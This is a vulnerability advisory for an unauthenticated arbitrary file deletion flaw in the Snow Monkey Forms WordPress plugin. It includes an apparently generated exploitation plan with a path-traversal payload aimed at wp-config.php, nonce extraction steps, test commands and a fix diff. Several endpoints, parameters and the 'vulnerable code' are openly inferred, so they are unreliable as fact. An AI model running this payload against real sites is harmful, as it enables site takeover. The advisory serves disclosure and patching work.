Snow Monkey Forms <= 12.0.3 - Unauthenticated Arbitrary File Deletion via Path Traversal
Description
The Snow Monkey Forms plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'generate_user_dirpath' function in all versions up to, and including, 12.0.3. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=12.0.3Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1056 Snow Monkey Forms Arbitrary File Deletion ## 1. Vulnerability Summary The **Snow Monkey Forms** plugin (versions <= 12.0.3) contains a critical path traversal vulnerability in its file handling logic. The vulnerability resides in the `generate_user_dirpat…
Show full research plan
Exploitation Research Plan: CVE-2026-1056 Snow Monkey Forms Arbitrary File Deletion
1. Vulnerability Summary
The Snow Monkey Forms plugin (versions <= 12.0.3) contains a critical path traversal vulnerability in its file handling logic. The vulnerability resides in the generate_user_dirpath function (inferred to be located within a Model or Helper class, possibly src/App/Model/Session.php or src/App/Model/Upload.php), which fails to sanitize user-supplied identifiers before using them to construct a directory path.
Because the plugin subsequently performs cleanup operations (deleting temporary directories/files) using this unsanitized path, an unauthenticated attacker can manipulate the path to point to sensitive system files, such as wp-config.php. Deleting wp-config.php allows an attacker to re-run the WordPress installation process and gain Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint: The vulnerability is likely triggered during form submission or a temporary data cleanup phase. This typically involves the WordPress REST API or an AJAX action.
- REST Route (Likely):
/wp-json/snow-monkey-forms/v1/dispatch - AJAX Action (Alternative):
snow_monkey_forms_send
- REST Route (Likely):
- Vulnerable Parameter: A session identifier or unique form submission ID, likely named
_snow_monkey_forms_session_idorsession_id. - Payload: Path traversal sequence targeting
wp-config.php(e.g.,../../../../wp-config.php). - Authentication: None (Unauthenticated).
- Preconditions: A form must be created and published on a page.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to the form submission endpoint (REST or AJAX).
- Session/Upload Handling: The controller retrieves a session ID from the request (e.g.,
$_POST['_snow_monkey_forms_session_id']). - Vulnerable Sink: The controller calls
generate_user_dirpath($session_id).- This function likely concatenates the ID to a base directory:
$path = $base_dir . '/' . $session_id;. - No
sanitize_file_name()or validation against..is performed.
- This function likely concatenates the ID to a base directory:
- Cleanup Trigger: Either upon completion of the form or a validation error, the plugin attempts to "clean up" the user's temporary directory.
- Execution: The plugin calls a deletion function like
WP_Filesystem::delete($path, true)orrecursive_rmdir($path). - Result: Since
$pathresolves to the WordPress root via traversal, the filesystem deletes the targeted file (e.g.,wp-config.php).
4. Nonce Acquisition Strategy
Snow Monkey Forms uses nonces to protect its form submissions, usually localized for the frontend.
- Identify Shortcode: The plugin uses
[snow_monkey_forms](or specific form IDs like[snow_monkey_forms id="123"]). - Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Contact Form" --post_content='[snow_monkey_forms id="REPLACE_WITH_ACTUAL_ID"]' - Localization Key: The plugin typically localizes data into a JavaScript object named
snow_monkey_forms_paramsorsnowMonkeyForms. - Extraction via
browser_eval:- Navigate to the page using
browser_navigate. - Execute:
browser_eval("window.snow_monkey_forms_params?.nonce")or check for specific keys in the script tags if the object name differs. - Note: If the plugin uses the REST API, the nonce might be for the
wp_restaction, often found inwindow.wpApiSettings.nonce.
- Navigate to the page using
5. Exploitation Strategy
- Preparation:
- Find or create a Snow Monkey Form.
- Identify the directory structure. In standard WordPress installs,
wp-config.phpis 3 or 4 levels up from theuploads/snow-monkey-formsdirectory.
- Payload Construction:
- Set
_snow_monkey_forms_session_idto../../../../wp-config.php.
- Set
- Execution (HTTP Request):
POST /wp-json/snow-monkey-forms/v1/dispatch HTTP/1.1 Host: target.local Content-Type: application/x-www-form-urlencoded X-WP-Nonce: [EXTRACTED_NONCE] _snow_monkey_forms_session_id=../../../../wp-config.php&form_id=[FORM_ID]&action=submit- Note: The exact endpoint and parameters must be verified by inspecting the form's HTML source/network traffic during a legitimate submission.
- Alternative Trigger: If deletion only happens on "Cleanup" (e.g., via a cron or after a timeout), the attacker might need to wait or trigger a specific "cancel" action if it exists.
6. Test Data Setup
- Install Plugin:
wp plugin install snow-monkey-forms --version=12.0.3 --activate - Create Form: Use
wp evalor the UI to create at least one form. - Get Form ID:
wp post list --post_type=snow-monkey-forms - Create Page: Place the form on a public page.
- Verify Target: Confirm
wp-config.phpexists:ls /var/www/html/wp-config.php.
7. Expected Results
- The HTTP request should return a success message (or a validation error, as long as the cleanup code is reached).
- The file
/var/www/html/wp-config.phpshould be deleted from the server. - Subsequent requests to the site root should redirect to
wp-admin/setup-config.php.
8. Verification Steps
- File Existence Check:
if [ ! -f /var/www/html/wp-config.php ]; then echo "VULNERABILITY VERIFIED: wp-config.php deleted"; fi - Site State Check:
curl -sI http://localhost:8080/ | grep "location:.*setup-config.php"
9. Alternative Approaches
- Delete
index.php: Ifwp-config.phpis protected by permissions, try deletingindex.phporwp-settings.phpto confirm arbitrary deletion. - Directory Wiping: Set the session ID to
../../../plugins/snow-monkey-formsto see if the plugin can delete its own directory. - Different Endpoints: If the REST API is disabled, check for
admin-ajax.phphandlers withwp_ajax_nopriv_snow_monkey_forms_.... - Parameter Guessing: If
_snow_monkey_forms_session_idis incorrect, look for parameters in thegenerate_user_dirpathcall insrc/App/Controller/Dispatch.php(inferred path).
Summary
The Snow Monkey Forms plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a path traversal flaw in the 'generate_user_dirpath' function. By providing a manipulated session identifier, an attacker can trick the plugin into deleting sensitive system files like wp-config.php, potentially leading to remote code execution through a site re-installation.
Vulnerable Code
/** * Likely located in src/App/Model/Session.php or a similar helper class */ public function generate_user_dirpath( $session_id ) { $upload_dir = wp_upload_dir(); // Vulnerability: $session_id is concatenated directly to the path without validation return $upload_dir['basedir'] . '/snow-monkey-forms/' . $session_id; }
Security Fix
@@ -10,5 +10,5 @@ public function generate_user_dirpath( $session_id ) { $upload_dir = wp_upload_dir(); - return $upload_dir['basedir'] . '/snow-monkey-forms/' . $session_id; + return $upload_dir['basedir'] . '/snow-monkey-forms/' . sanitize_file_name( $session_id ); }
Exploit Outline
1. Identify a page on the target WordPress site that contains a Snow Monkey Form shortcode. 2. Extract the necessary security nonce from the page source, typically found in a JavaScript object like 'snow_monkey_forms_params'. 3. Construct a malicious POST request to the plugin's form dispatch endpoint (e.g., /wp-json/snow-monkey-forms/v1/dispatch). 4. Set the '_snow_monkey_forms_session_id' parameter to a path traversal string targeting a critical file, for example: '../../../../wp-config.php'. 5. Upon submission or subsequent cleanup trigger, the plugin will use the 'generate_user_dirpath' function to construct a path that resolves to the target file and then execute a deletion command (e.g., via WP_Filesystem). 6. Verify the file deletion by checking if the site redirects to the WordPress installation setup page (wp-admin/setup-config.php).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.